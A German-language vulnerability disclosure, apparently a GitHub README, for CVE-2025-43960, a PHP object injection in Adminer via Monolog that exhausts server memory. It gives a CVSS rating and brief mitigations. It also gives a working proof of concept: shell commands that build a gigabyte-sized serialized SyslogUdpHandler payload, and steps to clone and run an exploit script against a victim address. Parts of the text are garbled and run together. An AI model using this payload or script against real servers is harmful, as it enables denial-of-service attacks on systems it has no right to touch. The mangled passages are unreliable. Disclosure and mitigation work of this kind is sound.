
PHP-Objektinjektions-Exploit für Adminer <4.8.1 über Monolog, der einen Denial-of-Service durch manipulierte serialisierte Payloads verursacht. Enthält PoC, CVSS-Bewertung und Schadensbegrenzungsanleitung.
Nach monatelangem Warten auf eine Antwort von MITRE habe ich CVE-2025-43960 mit einem PHP Object Injection-Angriff gegen den Adminer-Dienst (<4.8.1) erhalten, der einen Denial of Service (DoS) durch Speichermanipulation verursacht.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
Diese Schwachstelle ermöglicht es entfernten, nicht authentifizierten Angreifern, Adminer 4.8.1-Instanzen auszunutzen, die Monolog verwenden, und einen Denial of Service (DoS) durch PHP Object Injection zu verursachen. Der Angriffsvektor erfordert keine Authentifizierung oder Benutzerinteraktion, was ihn zu einem Problem mit hohem Schweregrad (CVSS 7.5) macht, das in bestimmten gemeinsam genutzten Umgebungen auf 8,6 ansteigen kann.
Adminer 4.8.1 ermöglicht bei Verwendung von Monolog zum Logging einen Denial of Service (Speicherverbrauch) über eine präparierte serialisierte Nutzlast wie eine mit einem s:1000000000-String, auch bekannt als PHP Object Injection-Problem. Die Schwachstelle betrifft Adminer-Instanzen, die Monolog zum Logging verwenden, bei denen nicht vertrauenswürdige Benutzereingaben ohne ordnungsgemäße Validierung deserialisiert werden.
Durch das Senden eines großen deserialisierten Objekts kann ein Angreifer einen hohen Speicherverbrauch erzwingen, die Adminer-Oberfläche unansprechbar machen und einen serverweiten DoS verursachen.
Basis-Score: 7.5 (Hoch)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Hinweis zu spezifischen Bereitstellungen:
Falls ein Absturz von Adminer auch andere Dienste/Mandanten stört (z.B. Container oder gemeinsam genutzter Prozess), kann Scope: Changed gelten:
- Vector:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- Score: 8.6 (Hoch)
unserialize() auf nicht vertrauenswürdigen Daten in Adminer und Monolog.memory_limit) in PHP, um übermäßigen Ressourcenverbrauch zu verhindern.allowed_classes in unserialize(), um die Deserialisierung nicht autorisierter Klassen einzuschränken.< 4.8.1 (aktuellste stabile Version zum Zeitpunkt des Tests)unserialize()Payload generation:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
Auswirkungen:
python3 --version in Ihrem Terminal ausführen.git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.